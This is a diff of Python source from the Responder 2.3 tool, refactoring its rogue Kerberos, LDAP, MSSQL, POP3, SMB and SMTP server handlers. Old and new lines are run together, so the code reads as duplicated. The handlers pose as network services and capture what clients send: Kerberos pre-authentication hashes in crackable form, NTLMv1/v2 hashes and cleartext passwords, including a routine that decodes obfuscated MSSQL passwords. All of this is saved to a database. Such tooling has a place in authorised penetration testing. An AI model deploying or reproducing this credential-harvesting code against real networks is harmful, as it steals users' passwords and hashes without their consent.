def ParseMSKerbv5UDP(Data): def ParseMSKerbv5UDP(Data):
@ -80,7 +74,6 @@ def ParseMSKerbv5UDP(Data):
if MsgType == "\x0a" and EncType == "\x17": if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33": if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0] HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54: if HashLen == 54:
Hash = Data[44:96] Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
@ -90,8 +83,7 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen] Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
elif HashLen == 53:
if HashLen == 53:
Hash = Data[44:95] Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0] NameLen = struct.unpack('<b',Data[143:144])[0]
@ -100,8 +92,6 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen] Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else: else:
Hash = Data[49:101] Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
@ -111,18 +101,15 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen] Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash return BuildHash
else:
return False return False
class KerbTCP(BaseRequestHandler): class KerbTCP(BaseRequestHandler):
def handle(self): def handle(self):
try:
data = self.request.recv(1024) data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data) KerbHash = ParseMSKerbv5TCP(data)
if KerbHash: if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$') n, krb, v, name, domain, d, h = KerbHash.split('$')
SaveToDb({ SaveToDb({
'module': 'KERB', 'module': 'KERB',
@ -133,13 +120,9 @@ class KerbTCP(BaseRequestHandler):
'fullhash': KerbHash, 'fullhash': KerbHash,
}) })
except Exception:
raise
class KerbUDP(BaseRequestHandler): class KerbUDP(BaseRequestHandler):
def handle(self): def handle(self):
try:
data, soc = self.request data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data) KerbHash = ParseMSKerbv5UDP(data)
@ -154,6 +137,3 @@ class KerbUDP(BaseRequestHandler):
'hash': h, 'hash': h,
'fullhash': KerbHash, 'fullhash': KerbHash,
}) })
except Exception:
raise

View file

@ -14,24 +14,17 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import * from utils import *
import struct
def ParseSearch(data): def ParseSearch(data):
Search1 = re.search('(objectClass)', data) if re.search(r'(objectClass)', data):
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2: elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3: elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client): def ParseLDAPHash(data, client):
@ -69,20 +62,15 @@ def ParseLDAPHash(data, client):
print text("[LDAP] Ignoring anonymous NTLM authentication") print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client): def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data) if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge) NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall.calculate() NTLMChall.calculate()
return str(NTLMChall) return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
if Search2:
ParseLDAPHash(data,client) ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client): def ParseLDAPPacket(data, client):
if data[1:2] == '\x84': if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0] PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0] MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10] Operation = data[9:10]
@ -91,7 +79,6 @@ def ParseLDAPPacket(data, client):
LDAPVersion = struct.unpack('<b',data[17:18])[0] LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60": if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0] UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen] UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1] AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@ -99,7 +86,6 @@ def ParseLDAPPacket(data, client):
if AuthHeaderType == "\x80": if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0] PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen] Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'Cleartext', 'type': 'Cleartext',
@ -116,12 +102,9 @@ def ParseLDAPPacket(data, client):
elif Operation == "\x63": elif Operation == "\x63":
Buffer = ParseSearch(data) Buffer = ParseSearch(data)
return Buffer return Buffer
elif settings.Config.Verbose:
else:
if settings.Config.Verbose:
print text('[LDAP] Operation not supported') print text('[LDAP] Operation not supported')
# LDAP Server class
class LDAP(BaseRequestHandler): class LDAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
@ -132,6 +115,5 @@ class LDAP(BaseRequestHandler):
if Buffer: if Buffer:
self.request.send(Buffer) self.request.send(Buffer)
except socket.timeout: except socket.timeout:
pass pass

View file

@ -14,13 +14,10 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import * from utils import *
import struct
class TDS_Login_Packet: class TDS_Login_Packet:
def __init__(self, data): def __init__(self, data):
@ -54,6 +51,7 @@ class TDS_Login_Packet:
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '') self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '') self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client): def ParseSQLHash(data, client):
SSPIStart = data[8:] SSPIStart = data[8:]
@ -97,17 +95,17 @@ def ParseSQLHash(data, client):
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
def ParseSqlClearTxtPwd(Pwd): def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5','')) Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = [] Pw = ''
for x in Pwd: for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
return ''.join(Pw) return Pw
def ParseClearTextSQLPass(data, client): def ParseClearTextSQLPass(data, client):
TDS = TDS_Login_Packet(data) TDS = TDS_Login_Packet(data)
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
'type': 'Cleartext', 'type': 'Cleartext',
@ -120,7 +118,6 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class # MSSQL Server class
class MSSQL(BaseRequestHandler): class MSSQL(BaseRequestHandler):
def handle(self): def handle(self):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0]) print text("[MSSQL] Received connection from %s" % self.client_address[0])
@ -130,28 +127,24 @@ class MSSQL(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(0.1) self.request.settimeout(0.1)
# Pre-Login Message
if data[0] == "\x12": if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer()) Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
# NegoSSP if data[0] == "\x10": # NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data): if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet.calculate() Packet.calculate()
Buffer = str(Packet) Buffer = str(Packet)
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
else: else:
ParseClearTextSQLPass(data,self.client_address[0]) ParseClearTextSQLPass(data,self.client_address[0])
# NegoSSP Auth if data[0] == "\x11": # NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0]) ParseSQLHash(data,self.client_address[0])
except socket.timeout: except socket.timeout:
pass
self.request.close() self.request.close()

View file

@ -14,22 +14,16 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import POPOKPacket from packets import POPOKPacket
# POP3 Server class # POP3 Server class
class POP3(BaseRequestHandler): class POP3(BaseRequestHandler):
def SendPacketAndRead(self): def SendPacketAndRead(self):
Packet = POPOKPacket() Packet = POPOKPacket()
self.request.send(str(Packet)) self.request.send(str(Packet))
data = self.request.recv(1024) return self.request.recv(1024)
return data
def handle(self): def handle(self):
try: try:
@ -38,7 +32,6 @@ class POP3(BaseRequestHandler):
if data[0:4] == "USER": if data[0:4] == "USER":
User = data[5:].replace("\r\n","") User = data[5:].replace("\r\n","")
data = self.SendPacketAndRead() data = self.SendPacketAndRead()
if data[0:4] == "PASS": if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","") Pass = data[5:].replace("\r\n","")
@ -50,11 +43,6 @@ class POP3(BaseRequestHandler):
'cleartext': Pass, 'cleartext': Pass,
'fullhash': User+":"+Pass, 'fullhash': User+":"+Pass,
}) })
self.SendPacketAndRead()
data = self.SendPacketAndRead()
else:
data = self.SendPacketAndRead()
except Exception: except Exception:
pass pass

View file

@ -14,84 +14,50 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
from random import randrange from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
import struct
# Detect if SMB auth was Anonymous
def Is_Anonymous(data): def Is_Anonymous(data): # Detect if SMB auth was Anonymous
SecBlobLen = struct.unpack('<H',data[51:53])[0] SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 260: if SecBlobLen < 260:
LMhashLen = struct.unpack('<H',data[89:91])[0] LMhashLen = struct.unpack('<H',data[89:91])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False return LMhashLen in [0, 1]
elif SecBlobLen > 260:
if SecBlobLen > 260:
LMhashLen = struct.unpack('<H',data[93:95])[0] LMhashLen = struct.unpack('<H',data[93:95])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False return LMhashLen in [0, 1]
def Is_LMNT_Anonymous(data): def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False return LMhashLen in [0, 1]
#Function used to know which dialect number to return for NT LM 0.12 #Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data): def Parse_Nego_Dialect(data):
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
for i in range(0, 16):
if Dialect[i] == 'NT LM 0.12':
return chr(i) + '\x00'
if Dialect[0] == "NT LM 0.12":
return "\x00\x00"
if Dialect[1] == "NT LM 0.12":
return "\x01\x00"
if Dialect[2] == "NT LM 0.12":
return "\x02\x00"
if Dialect[3] == "NT LM 0.12":
return "\x03\x00"
if Dialect[4] == "NT LM 0.12":
return "\x04\x00"
if Dialect[5] == "NT LM 0.12":
return "\x05\x00"
if Dialect[6] == "NT LM 0.12":
return "\x06\x00"
if Dialect[7] == "NT LM 0.12":
return "\x07\x00"
if Dialect[8] == "NT LM 0.12":
return "\x08\x00"
if Dialect[9] == "NT LM 0.12":
return "\x09\x00"
if Dialect[10] == "NT LM 0.12":
return "\x0a\x00"
if Dialect[11] == "NT LM 0.12":
return "\x0b\x00"
if Dialect[12] == "NT LM 0.12":
return "\x0c\x00"
if Dialect[13] == "NT LM 0.12":
return "\x0d\x00"
if Dialect[14] == "NT LM 0.12":
return "\x0e\x00"
if Dialect[15] == "NT LM 0.12":
return "\x0f\x00"
#Set MID SMB Header field. def midcalc(data): #Set MID SMB Header field.
def midcalc(data): return data[34:36]
pack=data[34:36]
return pack
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data): def uidcalc(data): #Set UID SMB Header field.
return data[32:34]
def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32] pack=data[30:32]
return pack return pack
#Set TID SMB Header field.
def tidcalc(data): def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30] pack=data[28:30]
return pack return pack
@ -101,8 +67,8 @@ def ParseShare(data):
if a: if a:
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client): def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
SecBlobLen = struct.unpack('<H',data[51:53])[0] SecBlobLen = struct.unpack('<H',data[51:53])[0]
BccLen = struct.unpack('<H',data[61:63])[0] BccLen = struct.unpack('<H',data[61:63])[0]
@ -113,7 +79,6 @@ def ParseSMBHash(data,client):
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[97:99])[0] NthashLen = struct.unpack('<H',data[97:99])[0]
NthashOffset = struct.unpack('<H',data[99:101])[0] NthashOffset = struct.unpack('<H',data[99:101])[0]
else: else:
SSPIStart = data[79:] SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0] LMhashLen = struct.unpack('<H',data[93:95])[0]
@ -160,9 +125,8 @@ def ParseSMBHash(data,client):
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
# Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client):
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0] Bcc = struct.unpack('<H',data[63:65])[0]
@ -209,26 +173,23 @@ def IsNT4ClearTxt(data, client):
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0] PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2: if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
def handle(self): def handle(self):
try: try:
while True: while True:
data = self.request.recv(1024) data = self.request.recv(1024)
self.request.settimeout(1) self.request.settimeout(1)
if len(data) < 1: if not data:
break break
##session request 139 if data[0] == "\x81": #session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
try: try:
self.request.send(Buffer) self.request.send(Buffer)
@ -236,9 +197,7 @@ class SMB1(BaseRequestHandler):
except: except:
pass pass
# Negociate Protocol Response if data[8:10] == "\x72\x00": # Negociate Protocol Response
if data[8:10] == "\x72\x00":
# \x72 == Negociate Protocol Response
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate() Body.calculate()
@ -249,8 +208,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
# Session Setup AndX Request if data[8:10] == "\x73\x00": # Session Setup AndX Request
if data[8:10] == "\x73\x00":
IsNT4ClearTxt(data, self.client_address[0]) IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED # STATUS_MORE_PROCESSING_REQUIRED
@ -264,8 +222,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(4096) data = self.request.recv(4096)
# STATUS_SUCCESS
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00": # STATUS_SUCCESS
if Is_Anonymous(data): if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
@ -290,10 +248,9 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
# Tree Connect AndX Request
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00": # Tree Connect AndX Request
ParseShare(data) ParseShare(data)
# Tree Connect AndX Response
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData() Body = SMBTreeData()
Body.calculate() Body.calculate()
@ -304,8 +261,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Tree Disconnect. if data[8:10] == "\x71\x00": #Tree Disconnect
if data[8:10] == "\x71\x00":
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -315,8 +271,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -326,8 +281,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Trans2 Access Denied. if data[8:10] == "\x25\x00": # Trans2 Access Denied.
if data[8:10] == "\x25\x00":
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -337,8 +291,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00": if data[8:10] == "\x74\x00": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00" Body = "\x02\xff\x00\x27\x00\x00\x00"
@ -351,22 +305,19 @@ class SMB1(BaseRequestHandler):
except socket.timeout: except socket.timeout:
pass pass
# SMB Server class, old version
class SMB1LM(BaseRequestHandler):
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
def handle(self): def handle(self):
try: try:
self.request.settimeout(0.5) self.request.settimeout(0.5)
data = self.request.recv(1024) data = self.request.recv(1024)
##session request 139 if data[0] == "\x81": #session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Negotiate proto answer. if data[8:10] == "\x72\x00": #Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body.calculate() Body.calculate()
@ -375,14 +326,12 @@ class SMB1LM(BaseRequestHandler):
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
##Session Setup AndX Request if data[8:10] == "\x73\x00": #Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_LMNT_Anonymous(data): if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty()) Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer) self.request.send(Buffer)
else: else:
ParseLMNTHash(data,self.client_address[0]) ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
@ -390,7 +339,6 @@ class SMB1LM(BaseRequestHandler):
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
self.request.close() self.request.close()
pass pass

View file

@ -14,15 +14,11 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import * from utils import *
from base64 import b64decode, b64encode from base64 import b64decode
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
# ESMTP Server class
class ESMTP(BaseRequestHandler): class ESMTP(BaseRequestHandler):
def handle(self): def handle(self):

View file

@ -14,13 +14,12 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import socket
import utils import utils
import logging
import ConfigParser import ConfigParser
from utils import *
__version__ = 'Responder 2.3' __version__ = 'Responder 2.3'
class Settings: class Settings:
@ -37,7 +36,7 @@ class Settings:
return ret return ret
def toBool(self, str): def toBool(self, str):
return True if str.upper() == 'ON' else False return str.upper() == 'ON'
def ExpandIPRanges(self): def ExpandIPRanges(self):
